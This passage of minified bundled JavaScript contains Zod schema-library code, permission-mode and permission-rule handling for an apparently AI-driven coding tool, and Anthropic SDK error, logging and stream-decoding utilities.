h4.extend(A,q)},A.merge=(q)=>h4.merge(A,q),A.pick=(q)=>h4.pick(A,q),A.omit=(q)=>h4.omit(A,q),A.partial=(...q)=>h4.partial(Tp1,A,q[0]),A.required=(...q)=>h4.required(vp1,A,q[0])});Pp1=_6("ZodUnion",(A,K)=>{NeA.init(A,K),r3.init(A,K),A.options=K.options});$R8=_6("ZodDiscriminatedUnion",(A,K)=>{Pp1.init(A,K),UF1.init(A,K)});_R8=_6("ZodIntersection",(A,K)=>{pF1.init(A,K),r3.init(A,K)});GR8=_6("ZodTuple",(A,K)=>{V6A.init(A,K),r3.init(A,K),A.rest=(q)=>A.clone({...A._zod.def,rest:q})});Vp1=_6("ZodRecord",(A,K)=>{dF1.init(A,K),r3.init(A,K),A.keyType=K.keyType,A.valueType=K.valueType});ZR8=_6("ZodMap",(A,K)=>{cF1.init(A,K),r3.init(A,K),A.keyType=K.keyType,A.valueType=K.valueType});WR8=_6("ZodSet",(A,K)=>{lF1.init(A,K),r3.init(A,K),A.min=(...q)=>A.check(N6A(...q)),A.nonempty=(q)=>A.check(N6A(1,q)),A.max=(...q)=>A.check(dHA(...q)),A.size=(...q)=>A.check(TEA(...q))});uEA=_6("ZodEnum",(A,K)=>{iF1.init(A,K),r3.init(A,K),A.enum=K.entries,A.options=Object.values(K.entries);let q=new Set(Object.keys(K.entries));A.extract=(Y,z)=>{let w={};for(let H of Y)if(q.has(H))w[H]=K.entries[H];else throw Error(`Key ${H} not found in enum`);return new uEA({...K,checks:[],...h4.normalizeParams(z),entries:w})},A.exclude=(Y,z)=>{let w={...K.entries};for(let H of Y)if(q.has(H))delete w[H];else throw Error(`Key ${H} not found in enum`);return new uEA({...K,checks:[],...h4.normalizeParams(z),entries:w})}});DR8=_6("ZodLiteral",(A,K)=>{nF1.init(A,K),r3.init(A,K),A.values=new Set(K.values),Object.defineProperty(A,"value",{get(){if(K.values.length>1)throw Error("This schema contains multiple valid literal values. Use `.values` instead.");return K.values[0]}})});jR8=_6("ZodFile",(A,K)=>{rF1.init(A,K),r3.init(A,K),A.min=(q,Y)=>A.check(N6A(q,Y)),A.max=(q,Y)=>A.check(dHA(q,Y)),A.mime=(q,Y)=>A.check(yEA(Array.isArray(q)?q:[q],Y))});fp1=_6("ZodTransform",(A,K)=>{jEA.init(A,K),r3.init(A,K),A._zod.parse=(q,Y)=>{q.addIssue=(w)=>{if(typeof w==="string")q.issues.push(h4.issue(w,q.value,K));else{let H=w;if(H.fatal)H.continue=!1;H.code??(H.code="custom"),H.input??(H.input=q.value),H.inst??(H.inst=A),H.continue??(H.continue=!0),q.issues.push(h4.issue(H))}};let z=K.transform(q.value,q);if(z instanceof Promise)return z.then((w)=>{return q.value=w,q});return q.value=z,q}});Tp1=_6("ZodOptional",(A,K)=>{oF1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType});MR8=_6("ZodNullable",(A,K)=>{aF1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType});PR8=_6("ZodDefault",(A,K)=>{sF1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType,A.removeDefault=A.unwrap});fR8=_6("ZodPrefault",(A,K)=>{tF1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType});vp1=_6("ZodNonOptional",(A,K)=>{eF1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType});vR8=_6("ZodSuccess",(A,K)=>{AQ1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType});ER8=_6("ZodCatch",(A,K)=>{KQ1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType,A.removeCatch=A.unwrap});CR8=_6("ZodNaN",(A,K)=>{qQ1.init(A,K),r3.init(A,K)});Ep1=_6("ZodPipe",(A,K)=>{MEA.init(A,K),r3.init(A,K),A.in=K.in,A.out=K.out});LR8=_6("ZodReadonly",(A,K)=>{YQ1.init(A,K),r3.init(A,K)});yR8=_6("ZodTemplateLiteral",(A,K)=>{zQ1.init(A,K),r3.init(A,K)});IR8=_6("ZodLazy",(A,K)=>{HQ1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.getter()});hR8=_6("ZodPromise",(A,K)=>{wQ1.init(A,K),r3.init(A,K),A.unwrap=()=>A._zod.def.innerType});wA1=_6("ZodCustom",(A,K)=>{JQ1.init(A,K),r3.init(A,K)})});function U55(A){UX({customError:A})}function p55(){return UX().customError}var Cp1;var BR8=k(()=>{ij();Cp1={invalid_type:"invalid_type",too_big:"too_big",too_small:"too_small",invalid_format:"invalid_format",not_multiple_of:"not_multiple_of",unrecognized_keys:"unrecognized_keys",invalid_union:"invalid_union",invalid_key:"invalid_key",invalid_element:"invalid_element",invalid_value:"invalid_value",custom:"custom"}});var pEA={};_q(pEA,{string:()=>d55,number:()=>c55,date:()=>n55,boolean:()=>l55,bigint:()=>i55});function d55(A){return sQ1(BEA,A)}function c55(A){return zU1(mEA,A)}function l55(A){return _U1(gEA,A)}function i55(A){return ZU1(FEA,A)}function n55(A){return vU1(qA1,A)}var mR8=k(()=>{ij();seA()});var U={};_q(U,{xid:()=>Y55,void:()=>v55,uuidv7:()=>sq5,uuidv6:()=>aq5,uuidv4:()=>oq5,uuid:()=>rq5,url:()=>Ap1,uppercase:()=>kEA,unknown:()=>p0,union:()=>gz,undefined:()=>T55,ulid:()=>q55,uint64:()=>f55,uint32:()=>M55,tuple:()=>L55,trim:()=>SEA,treeifyError:()=>Jg1,transform:()=>Np1,toUpperCase:()=>bEA,toLowerCase:()=>hEA,toJSONSchema:()=>MF,templateLiteral:()=>B55,symbol:()=>N55,superRefine:()=>uR8,success:()=>x55,stringbool:()=>F55,stringFormat:()=>Z55,string:()=>U1,strictObject:()=>C55,startsWith:()=>LEA,size:()=>TEA,setErrorMap:()=>U55,set:()=>I55,safeParseAsync:()=>rU1,safeParse:()=>nU1,registry:()=>veA,regexes:()=>M6A,regex:()=>vEA,refine:()=>xR8,record:()=>UO,readonly:()=>RR8,property:()=>yU1,promise:()=>m55,prettifyError:()=>Og1,preprocess:()=>HA1,prefault:()=>NR8,positive:()=>kU1,pipe:()=>AA1,partialRecord:()=>R55,parseAsync:()=>iU1,parse:()=>lU1,overwrite:()=>jF,optional:()=>GK,object:()=>w4,number:()=>iY,nullish:()=>b55,nullable:()=>eeA,null:()=>QEA,normalize:()=>IEA,nonpositive:()=>LU1,nonoptional:()=>TR8,nonnegative:()=>RU1,never:()=>KA1,negative:()=>CU1,nativeEnum:()=>S55,nanoid:()=>eq5,nan:()=>u55,multipleOf:()=>f6A,minSize:()=>N6A,minLength:()=>vi,mime:()=>yEA,maxSize:()=>dHA,maxLength:()=>cHA,map:()=>y55,lte:()=>gE,lt:()=>WF,lowercase:()=>EEA,looseObject:()=>NZ,locales:()=>UHA,literal:()=>AK,length:()=>lHA,lazy:()=>SR8,ksuid:()=>z55,keyof:()=>k55,jwt:()=>G55,json:()=>Q55,iso:()=>iHA,ipv6:()=>H55,ipv4:()=>w55,intersection:()=>UEA,int64:()=>V55,int32:()=>j55,int:()=>aU1,instanceof:()=>g55,includes:()=>CEA,guid:()=>nq5,gte:()=>_V,gt:()=>DF,globalRegistry:()=>Eb,getErrorMap:()=>p55,function:()=>gU1,formatError:()=>$EA,float64:()=>D55,float32:()=>W55,flattenError:()=>XEA,file:()=>h55,enum:()=>i_,endsWith:()=>REA,emoji:()=>tq5,email:()=>iq5,e164:()=>_55,discriminatedUnion:()=>zA1,date:()=>E55,custom:()=>kp1,cuid2:()=>K55,cuid:()=>A55,core:()=>kb,config:()=>UX,coerce:()=>pEA,clone:()=>iN,cidrv6:()=>O55,cidrv4:()=>J55,check:()=>bR8,catch:()=>kR8,boolean:()=>mz,bigint:()=>P55,base64url:()=>$55,base64:()=>X55,array:()=>b4,any:()=>Mp1,_default:()=>VR8,_ZodString:()=>sU1,ZodXID:()=>Hp1,ZodVoid:()=>OR8,ZodUnknown:()=>HR8,ZodUnion:()=>Pp1,ZodUndefined:()=>YR8,ZodUUID:()=>PF,ZodURL:()=>eU1,ZodULID:()=>wp1,ZodType:()=>r3,ZodTuple:()=>GR8,ZodTransform:()=>fp1,ZodTemplateLiteral:()=>yR8,ZodSymbol:()=>qR8,ZodSuccess:()=>vR8,ZodStringFormat:()=>rw,ZodString:()=>BEA,ZodSet:()=>WR8,ZodRecord:()=>Vp1,ZodRealError:()=>nHA,ZodReadonly:()=>LR8,ZodPromise:()=>hR8,ZodPrefault:()=>fR8,ZodPipe:()=>Ep1,ZodOptional:()=>Tp1,ZodObject:()=>YA1,ZodNumberFormat:()=>rHA,ZodNumber:()=>mEA,ZodNullable:()=>MR8,ZodNull:()=>zR8,ZodNonOptional:()=>vp1,ZodNever:()=>JR8,ZodNanoID:()=>qp1,ZodNaN:()=>CR8,ZodMap:()=>ZR8,ZodLiteral:()=>DR8,ZodLazy:()=>IR8,ZodKSUID:()=>Jp1,ZodJWT:()=>Dp1,ZodIssueCode:()=>Cp1,ZodIntersection:()=>_R8,ZodISOTime:()=>reA,ZodISODuration:()=>oeA,ZodISODateTime:()=>ieA,ZodISODate:()=>neA,ZodIPv6:()=>Xp1,ZodIPv4:()=>Op1,ZodGUID:()=>teA,ZodFile:()=>jR8,ZodError:()=>cq5,ZodEnum:()=>uEA,ZodEmoji:()=>Kp1,ZodEmail:()=>tU1,ZodE164:()=>Wp1,ZodDiscriminatedUnion:()=>$R8,ZodDefault:()=>PR8,ZodDate:()=>qA1,ZodCustomStringFormat:()=>KR8,ZodCustom:()=>wA1,ZodCatch:()=>ER8,ZodCUID2:()=>zp1,ZodCUID:()=>Yp1,ZodCIDRv6:()=>_p1,ZodCIDRv4:()=>$p1,ZodBoolean:()=>gEA,ZodBigIntFormat:()=>jp1,ZodBigInt:()=>FEA,ZodBase64URL:()=>Zp1,ZodBase64:()=>Gp1,ZodArray:()=>XR8,ZodAny:()=>wR8,TimePrecision:()=>tQ1,NEVER:()=>AEA,$output:()=>nQ1,$input:()=>rQ1,$brand:()=>am1});var Lp1=k(()=>{ij();ij();WQ1();ij();TeA();aeA();aeA();mR8();seA();FU1();cU1();oU1();BR8();UX(VEA())});var gR8;var Rp1=k(()=>{Lp1();Lp1();gR8=U});var f7;var z7=k(()=>{Rp1();Rp1();f7=gR8});var T6A,r55,Ei;var QR8=k(()=>{T6A=["acceptEdits","bypassPermissions","default","delegate","dontAsk","plan"],r55=[...T6A],Ei=r55});function VF(A){switch(A){case"acceptEdits":case"bypassPermissions":case"default":case"delegate":case"dontAsk":case"plan":return A}}function FR(A){switch(A){case"bypassPermissions":return"bypassPermissions";case"acceptEdits":return"acceptEdits";case"plan":return"plan";case"delegate":return"delegate";case"dontAsk":return"dontAsk";case"default":return"default";default:return"default"}}function fF(A){switch(A){case"default":return"Default";case"plan":return"Plan Mode";case"delegate":return"Delegate Mode";case"acceptEdits":return"Accept edits";case"bypassPermissions":return"Bypass Permissions";case"dontAsk":return"Don't Ask"}}function dR8(A){return A==="default"||A===void 0}function dEA(A){switch(A){case"default":return"";case"plan":return"⏸";case"delegate":return"⇢";case"acceptEdits":return"⏵⏵";case"bypassPermissions":return"⏵⏵";case"dontAsk":return"⏵⏵"}}function OD(A){switch(A){case"default":return"text";case"plan":return"planMode";case"delegate":return"delegateMode";case"acceptEdits":return"autoAccept";case"bypassPermissions":return"error";case"dontAsk":return"error"}}var UR8,pR8;var n_=k(()=>{z7();QR8();UR8=f7.enum(Ei),pR8=f7.enum(T6A)});function lEA(){return E4("policySettings")?.allowManagedPermissionRulesOnly===!0}function Cb(){return!lEA()}function a55(A){let K=pO(A);if(!K||!BA().existsSync(K))return null;try{let{resolvedPath:q}=sJ(BA(),K),Y=d0(q);if(Y.trim()==="")return{};let z=P3(Y,!1);return z&&typeof z==="object"?z:null}catch{return null}}function s55(A,K){if(!A||!A.permissions)return[];let{permissions:q}=A,Y=[];for(let z of o55){let w=q[z];if(w)for(let H of w)Y.push({source:K,ruleBehavior:z,ruleValue:GV(H)})}return Y}function JA1(){if(lEA())return cEA("policySettings");let A=[];for(let K of Ni())A.push(...cEA(K));return A}function cEA(A){let K=E4(A);return s55(K,A)}function cR8(A){if(!t55.includes(A.source))return!1;let K=I9(A.ruleValue),q=E4(A.source);if(!q||!q.permissions)return!1;let Y=q.permissions[A.ruleBehavior];if(!Y||!Y.includes(K))return!1;try{let z={...q,permissions:{...q.permissions,[A.ruleBehavior]:Y.filter((H)=>H!==K)}},{error:w}=v4(A.source,z);if(w)return!1;return!0}catch(z){return KA(z instanceof Error?z:Error(String(z))),!1}}function e55(){return{permissions:{}}}function OA1({ruleValues:A,ruleBehavior:K},q){if(lEA())return!1;if(A.length<1)return!0;let Y=A.map(I9),z=E4(q)||a55(q)||e55();try{let w=z.permissions||{},H=w[K]||[],J=new Set(H),O=Y.filter((_)=>!J.has(_));if(O.length===0)return!0;let X={...z,permissions:{...w,[K]:[...H,...O]}},$=v4(q,X);if($.error)throw $.error;return!0}catch(w){return KA(w instanceof Error?w:Error(String(w))),!1}}var o55,t55;var FE=k(()=>{C1();S2();GJ();I8();e6();YK();Xw();o55=["allow","deny","ask"];t55=["userSettings","projectSettings","localSettings"]});import{posix as A35}from"path";function v6A(A){if(!A)return[];return A.flatMap((K)=>{switch(K.type){case"addRules":return K.rules;default:return[]}})}function nY(A,K){switch(K.type){case"setMode":return h(`Applying permission update: Setting mode to '${K.mode}'`),{...A,mode:K.mode};case"addRules":{let q=K.rules.map((z)=>I9(z));h(`Applying permission update: Adding ${K.rules.length} ${K.behavior} rule(s) to destination '${K.destination}': ${UA(q)}`);let Y=K.behavior==="allow"?"alwaysAllowRules":K.behavior==="deny"?"alwaysDenyRules":"alwaysAskRules";return{...A,[Y]:{...A[Y],[K.destination]:[...A[Y][K.destination]||[],...q]}}}case"replaceRules":{let q=K.rules.map((z)=>I9(z));h(`Replacing all ${K.behavior} rules for destination '${K.destination}' with ${K.rules.length} rule(s): ${UA(q)}`);let Y=K.behavior==="allow"?"alwaysAllowRules":K.behavior==="deny"?"alwaysDenyRules":"alwaysAskRules";return{...A,[Y]:{...A[Y],[K.destination]:q}}}case"addDirectories":{h(`Applying permission update: Adding ${K.directories.length} director${K.directories.length===1?"y":"ies"} with destination '${K.destination}': ${UA(K.directories)}`);let q=new Map(A.additionalWorkingDirectories);for(let Y of K.directories)q.set(Y,{path:Y,source:K.destination});return{...A,additionalWorkingDirectories:q}}case"removeRules":{let q=K.rules.map((J)=>I9(J));h(`Applying permission update: Removing ${K.rules.length} ${K.behavior} rule(s) from source '${K.destination}': ${UA(q)}`);let Y=K.behavior==="allow"?"alwaysAllowRules":K.behavior==="deny"?"alwaysDenyRules":"alwaysAskRules",z=A[Y][K.destination]||[],w=new Set(q),H=z.filter((J)=>!w.has(J));return{...A,[Y]:{...A[Y],[K.destination]:H}}}case"removeDirectories":{h(`Applying permission update: Removing ${K.directories.length} director${K.directories.length===1?"y":"ies"}: ${UA(K.directories)}`);let q=new Map(A.additionalWorkingDirectories);for(let Y of K.directories)q.delete(Y);return{...A,additionalWorkingDirectories:q}}default:return A}}function XD(A,K){let q=A;for(let Y of K)q=nY(q,Y);return q}function oHA(A){return A==="localSettings"||A==="userSettings"||A==="projectSettings"}function Lb(A){if(!oHA(A.destination))return;switch(h(`Persisting permission update: ${A.type} to source '${A.destination}'`),A.type){case"addRules":{h(`Persisting ${A.rules.length} ${A.behavior} rule(s) to ${A.destination}`),OA1({ruleValues:A.rules,ruleBehavior:A.behavior},A.destination);break}case"addDirectories":{h(`Persisting ${A.directories.length} director${A.directories.length===1?"y":"ies"} to ${A.destination}`);let q=E4(A.destination)?.permissions?.additionalDirectories||[],Y=A.directories.filter((z)=>!q.includes(z));if(Y.length>0){let z=[...q,...Y];v4(A.destination,{permissions:{additionalDirectories:z}})}break}case"removeRules":{h(`Removing ${A.rules.length} ${A.behavior} rule(s) from ${A.destination}`);let Y=(E4(A.destination)?.permissions||{})[A.behavior]||[],z=new Set(A.rules.map(I9)),w=Y.filter((H)=>{let J=I9(GV(H));return!z.has(J)});v4(A.destination,{permissions:{[A.behavior]:w}});break}case"removeDirectories":{h(`Removing ${A.directories.length} director${A.directories.length===1?"y":"ies"} from ${A.destination}`);let q=E4(A.destination)?.permissions?.additionalDirectories||[],Y=new Set(A.directories),z=q.filter((w)=>!Y.has(w));v4(A.destination,{permissions:{additionalDirectories:z}});break}case"setMode":{h(`Persisting mode '${A.mode}' to ${A.destination}`),v4(A.destination,{permissions:{defaultMode:A.mode}});break}case"replaceRules":{h(`Replacing all ${A.behavior} rules in ${A.destination} with ${A.rules.length} rule(s)`);let K=A.rules.map(I9);v4(A.destination,{permissions:{[A.behavior]:K}});break}}}function QE(A){for(let K of A)Lb(K)}function XA1(A,K="session"){try{if(BA().statSync(A).isDirectory()){let Y=$A1(A);if(Y==="/")return;return{type:"addRules",rules:[{toolName:"Read",ruleContent:A35.isAbsolute(Y)?`/${Y}/**`:`${Y}/**`}],behavior:"allow",destination:K}}}catch{}return}var LH=k(()=>{S2();Z1();I8();FE();e6();Xz();b1()});function _7(A,K,q,Y,z){if(Y==="m")throw TypeError("Private method is not writable");if(Y==="a"&&!z)throw TypeError("Private accessor was defined without a setter");if(typeof K==="function"?A!==K||!z:!K.has(A))throw TypeError("Cannot write private member to an object whose class did not declare it");return Y==="a"?z.call(A,q):z?z.value=q:K.set(A,q),q}function x6(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)}var NF=()=>{};var yp1=function(){let{crypto:A}=globalThis;if(A?.randomUUID)return yp1=A.randomUUID.bind(A),A.randomUUID();let K=new Uint8Array(1),q=A?()=>A.getRandomValues(K)[0]:()=>Math.random()*255&255;return"10000000-1000-4000-8000-100000000000".replace(/[018]/g,(Y)=>(+Y^q()&15>>+Y/4).toString(16))};function TF(A){return typeof A==="object"&&A!==null&&(("name"in A)&&A.name==="AbortError"||("message"in A)&&String(A.message).includes("FetchRequestCanceledException"))}var iEA=(A)=>{if(A instanceof Error)return A;if(typeof A==="object"&&A!==null){try{if(Object.prototype.toString.call(A)==="[object Error]"){let K=Error(A.message,A.cause?{cause:A.cause}:{});if(A.stack)K.stack=A.stack;if(A.cause&&!K.cause)K.cause=A.cause;if(A.name)K.name=A.name;return K}}catch{}try{return Error(JSON.stringify(A))}catch{}}return Error(A)};var O7,r7,h2,nj,Rb,nEA,E6A,rEA,k6A,oEA,aEA,sEA,tEA;var rj=k(()=>{O7=class O7 extends Error{};r7=class r7 extends O7{constructor(A,K,q,Y){super(`${r7.makeMessage(A,K,q)}`);this.status=A,this.headers=Y,this.requestID=Y?.get("request-id"),this.error=K}static makeMessage(A,K,q){let Y=K?.message?typeof K.message==="string"?K.message:JSON.stringify(K.message):K?JSON.stringify(K):q;if(A&&Y)return`${A} ${Y}`;if(A)return`${A} status code (no body)`;if(Y)return Y;return"(no status code or body)"}static generate(A,K,q,Y){if(!A||!Y)return new nj({message:q,cause:iEA(K)});let z=K;if(A===400)return new nEA(A,z,q,Y);if(A===401)return new E6A(A,z,q,Y);if(A===403)return new rEA(A,z,q,Y);if(A===404)return new k6A(A,z,q,Y);if(A===409)return new oEA(A,z,q,Y);if(A===422)return new aEA(A,z,q,Y);if(A===429)return new sEA(A,z,q,Y);if(A>=500)return new tEA(A,z,q,Y);return new r7(A,z,q,Y)}};h2=class h2 extends r7{constructor({message:A}={}){super(void 0,void 0,A||"Request was aborted.",void 0)}};nj=class nj extends r7{constructor({message:A,cause:K}){super(void 0,void 0,A||"Connection error.",void 0);if(K)this.cause=K}};Rb=class Rb extends nj{constructor({message:A}={}){super({message:A??"Request timed out."})}};nEA=class nEA extends r7{};E6A=class E6A extends r7{};rEA=class rEA extends r7{};k6A=class k6A extends r7{};oEA=class oEA extends r7{};aEA=class aEA extends r7{};sEA=class sEA extends r7{};tEA=class tEA extends r7{}});function _A1(A){if(typeof A!=="object")return{};return A??{}}function iR8(A){if(!A)return!0;for(let K in A)return!1;return!0}function nR8(A,K){return Object.prototype.hasOwnProperty.call(A,K)}var q35,lR8=(A)=>{return q35.test(A)},Ip1=(A)=>(Ip1=Array.isArray,Ip1(A)),Sp1,rR8=(A,K)=>{if(typeof K!=="number"||!Number.isInteger(K))throw new O7(`${A} must be an integer`);if(K<0)throw new O7(`${A} must be a positive integer`);return K},GA1=(A)=>{try{return JSON.parse(A)}catch(K){return}};var C6A=k(()=>{rj();q35=/^[a-z][a-z0-9+.-]*:/i,Sp1=Ip1});var oR8=(A)=>new Promise((K)=>setTimeout(K,A));var ki="0.70.0";function Y35(){if(typeof Deno<"u"&&Deno.build!=null)return"deno";if(typeof EdgeRuntime<"u")return"edge";if(Object.prototype.toString.call(typeof globalThis.process<"u"?globalThis.process:0)==="[object process]")return"node";return"unknown"}function w35(){if(typeof navigator>"u"||!navigator)return null;let A=[{key:"edge",pattern:/Edge(?:\W+(\d+)\.(\d+)(?:\.(\d+))?)?/},{key:"ie",pattern:/MSIE(?:\W+(\d+)\.(\d+)(?:\.(\d+))?)?/},{key:"ie",pattern:/Trident(?:.*rv\:(\d+)\.(\d+)(?:\.(\d+))?)?/},{key:"chrome",pattern:/Chrome(?:\W+(\d+)\.(\d+)(?:\.(\d+))?)?/},{key:"firefox",pattern:/Firefox(?:\W+(\d+)\.(\d+)(?:\.(\d+))?)?/},{key:"safari",pattern:/(?:Version\W+(\d+)\.(\d+)(?:\.(\d+))?)?(?:\W+Mobile\S*)?\W+Safari/}];for(let{key:K,pattern:q}of A){let Y=q.exec(navigator.userAgent);if(Y){let z=Y[1]||0,w=Y[2]||0,H=Y[3]||0;return{browser:K,version:`${z}.${w}.${H}`}}}return null}var eR8=()=>{return typeof window<"u"&&typeof window.document<"u"&&typeof navigator<"u"},z35=()=>{let A=Y35();if(A==="deno")return{"X-Stainless-Lang":"js","X-Stainless-Package-Version":ki,"X-Stainless-OS":sR8(Deno.build.os),"X-Stainless-Arch":aR8(Deno.build.arch),"X-Stainless-Runtime":"deno","X-Stainless-Runtime-Version":typeof Deno.version==="string"?Deno.version:Deno.version?.deno??"unknown"};if(typeof EdgeRuntime<"u")return{"X-Stainless-Lang":"js","X-Stainless-Package-Version":ki,"X-Stainless-OS":"Unknown","X-Stainless-Arch":`other:${EdgeRuntime}`,"X-Stainless-Runtime":"edge","X-Stainless-Runtime-Version":globalThis.process.version};if(A==="node")return{"X-Stainless-Lang":"js","X-Stainless-Package-Version":ki,"X-Stainless-OS":sR8(globalThis.process.platform??"unknown"),"X-Stainless-Arch":aR8(globalThis.process.arch??"unknown"),"X-Stainless-Runtime":"node","X-Stainless-Runtime-Version":globalThis.process.version??"unknown"};let K=w35();if(K)return{"X-Stainless-Lang":"js","X-Stainless-Package-Version":ki,"X-Stainless-OS":"Unknown","X-Stainless-Arch":"unknown","X-Stainless-Runtime":`browser:${K.browser}`,"X-Stainless-Runtime-Version":K.version};return{"X-Stainless-Lang":"js","X-Stainless-Package-Version":ki,"X-Stainless-OS":"Unknown","X-Stainless-Arch":"unknown","X-Stainless-Runtime":"unknown","X-Stainless-Runtime-Version":"unknown"}},aR8=(A)=>{if(A==="x32")return"x32";if(A==="x86_64"||A==="x64")return"x64";if(A==="arm")return"arm";if(A==="aarch64"||A==="arm64")return"arm64";if(A)return`other:${A}`;return"unknown"},sR8=(A)=>{if(A=A.toLowerCase(),A.includes("ios"))return"iOS";if(A==="android")return"Android";if(A==="darwin")return"MacOS";if(A==="win32")return"Windows";if(A==="freebsd")return"FreeBSD";if(A==="openbsd")return"OpenBSD";if(A==="linux")return"Linux";if(A)return`Other:${A}`;return"Unknown"},tR8,Ay8=()=>{return tR8??(tR8=z35())};var hp1=()=>{};function Ky8(){if(typeof fetch<"u")return fetch;throw Error("`fetch` is not defined as a global; Either pass `fetch` to the client, `new Anthropic({ fetch })` or polyfill the global, `globalThis.fetch = fetch`")}function bp1(...A){let K=globalThis.ReadableStream;if(typeof K>"u")throw Error("`ReadableStream` is not defined as a global; You will need to polyfill it, `globalThis.ReadableStream = ReadableStream`");return new K(...A)}function ZA1(A){let K=Symbol.asyncIterator in A?A[Symbol.asyncIterator]():A[Symbol.iterator]();return bp1({start(){},async pull(q){let{done:Y,value:z}=await K.next();if(Y)q.close();else q.enqueue(z)},async cancel(){await K.return?.()}})}function eEA(A){if(A[Symbol.asyncIterator])return A;let K=A.getReader();return{async next(){try{let q=await K.read();if(q?.done)K.releaseLock();return q}catch(q){throw K.releaseLock(),q}},async return(){let q=K.cancel();return K.releaseLock(),await q,{done:!0,value:void 0}},[Symbol.asyncIterator](){return this}}}async function qy8(A){if(A===null||typeof A!=="object")return;if(A[Symbol.asyncIterator]){await A[Symbol.asyncIterator]().return?.();return}let K=A.getReader(),q=K.cancel();K.releaseLock(),await q}var Yy8=({headers:A,body:K})=>{return{bodyHeaders:{"content-type":"application/json"},body:JSON.stringify(K)}};function Hy8(A){let K=0;for(let z of A)K+=z.length;let q=new Uint8Array(K),Y=0;for(let z of A)q.set(z,Y),Y+=z.length;return q}function AkA(A){let K;return(zy8??(K=new globalThis.TextEncoder,zy8=K.encode.bind(K)))(A)}function xp1(A){let K;return(wy8??(K=new globalThis.TextDecoder,wy8=K.decode.bind(K)))(A)}var zy8,wy8;class Ci{constructor(){rN.set(this,void 0),oN.set(this,void 0),_7(this,rN,new Uint8Array,"f"),_7(this,oN,null,"f")}decode(A){if(A==null)return[];let K=A instanceof ArrayBuffer?new Uint8Array(A):typeof A==="string"?AkA(A):A;_7(this,rN,Hy8([x6(this,rN,"f"),K]),"f");let q=[],Y;while((Y=O35(x6(this,rN,"f"),x6(this,oN,"f")))!=null){if(Y.carriage&&x6(this,oN,"f")==null){_7(this,oN,Y.index,"f");continue}if(x6(this,oN,"f")!=null&&(Y.index!==x6(this,oN,"f")+1||Y.carriage)){q.push(xp1(x6(this,rN,"f").subarray(0,x6(this,oN,"f")-1))),_7(this,rN,x6(this,rN,"f").subarray(x6(this,oN,"f")),"f"),_7(this,oN,null,"f");continue}let z=x6(this,oN,"f")!==null?Y.preceding-1:Y.preceding,w=xp1(x6(this,rN,"f").subarray(0,z));q.push(w),_7(this,rN,x6(this,rN,"f").subarray(Y.index),"f"),_7(this,oN,null,"f")}return q}flush(){if(!x6(this,rN,"f").length)return[];return this.decode(` `)}}function O35(A,K){for(let z=K??0;z<A.length;z++){if(A[z]===10)return{preceding:z,index:z+1,carriage:!1};if(A[z]===13)return{preceding:z,index:z+1,carriage:!0}}return null}function Jy8(A){for(let Y=0;Y<A.length-1;Y++){if(A[Y]===10&&A[Y+1]===10)return Y+2;if(A[Y]===13&&A[Y+1]===13)return Y+2;if(A[Y]===13&&A[Y+1]===10&&Y+3<A.length&&A[Y+2]===13&&A[Y+3]===10)return Y+4}return-1}var rN,oN;var up1=k(()=>{NF();rN=new WeakMap,oN=new WeakMap;Ci.NEWLINE_CHARS=new Set([` `,"\r"]);Ci.NEWLINE_REGEXP=/\r\n|[\n\r]/g});function KkA(){}function WA1(A,K,q){if(!K||DA1[A]>DA1[q])return KkA;else return K[A].bind(K)}function r_(A){let K=A.logger,q=A.logLevel??"off";if(!K)return X35;let Y=Oy8.get(K);if(Y&&Y[0]===q)return Y[1];let z={error:WA1("error",K,q),warn:WA1("warn",K,q),info:WA1("info",K,q),debug:WA1("debug",K,q)};return Oy8.set(K,[q,z]),z}var DA1,Bp1=(A,K,q)=>{if(!A)return;if(nR8(DA1,A))return A;r_(q).warn(`${K} was set to ${JSON.stringify(A)}, expected one of ${JSON.stringify(Object.keys(DA1))}`);return},X35,Oy8,vF=(A)=>{if(A.options)A.options={...A.options},delete A.options.headers;if(A.headers)A.headers=Object.fromEntries((A.headers instanceof Headers?[...A.headers]:Object.entries(A.headers)).map(([K,q])=>[K,K.toLowerCase()==="x-api-key"||K.toLowerCase()==="authorization"||K.toLowerCase()==="cookie"||K.toLowerCase()==="set-cookie"?"***":q]));if("retryOfRequestLogID"in A){if(A.retryOfRequestLogID)A.retryOf=A.retryOfRequestLogID;delete A.retryOfRequestLogID}return A};var jA1=k(()=>{C6A();DA1={off:0,error:200,warn:300,info:400,debug:500};X35={error:KkA,warn:KkA,info:KkA,debug:KkA},Oy8=new WeakMap});async function*$35(A,K){if(!A.body){if(K.abort(),typeof globalThis.navigator<"u"&&globalThis.navigator.product==="ReactNative")throw new O7("The default react-native fetch implementation does not support streaming. Please use expo/fetch: https://docs.expo.dev/versions/latest/sdk/expo/#expofetch-api");throw new O7("Attempted to iterate over a response with no body")}let q=new Xy8,Y=new Ci,z=eEA(A.body);for await(let w of _35(z))for(let H of Y.decode(w)){let J=q.decode(H);if(J)yield J}for(let w of Y.flush()){let H=q.decode(w);if(H)yield H}}async function*_35(A){let K=new Uint8Array;for await(let q of A){if(q==null)continue;let Y=q instanceof ArrayBuffer?new Uint8Array(q):typeof q==="string"?AkA(q):q,z=new Uint8Array(K.length+Y.length);z.set(K),z.set(Y,K.length),K=z;let w;while((w=Jy8(K))!==-1)yield K.slice(0,w),K=K.slice(w)}if(K.length>0)yield K}class Xy8{constructor(){this.event=null,this.data=[],this.chunks=[]}decode(A){if(A.endsWith("\r"))A=A.substring(0,A.length-1);if(!A){if(!this.event&&!this.data.length)return null;let z={event:this.event,data:this.data.join(` `),raw:this.chunks};return this.event=null,this.data=[],this.chunks=[],z}if(this.chunks.push(A),A.startsWith(":"))return null;let[K,q,Y]=G35(A,":");if(Y.startsWith(" "))Y=Y.substring(1);if(K==="event")this.event=Y;else if(K==="data")this.data.push(Y);return null}}function 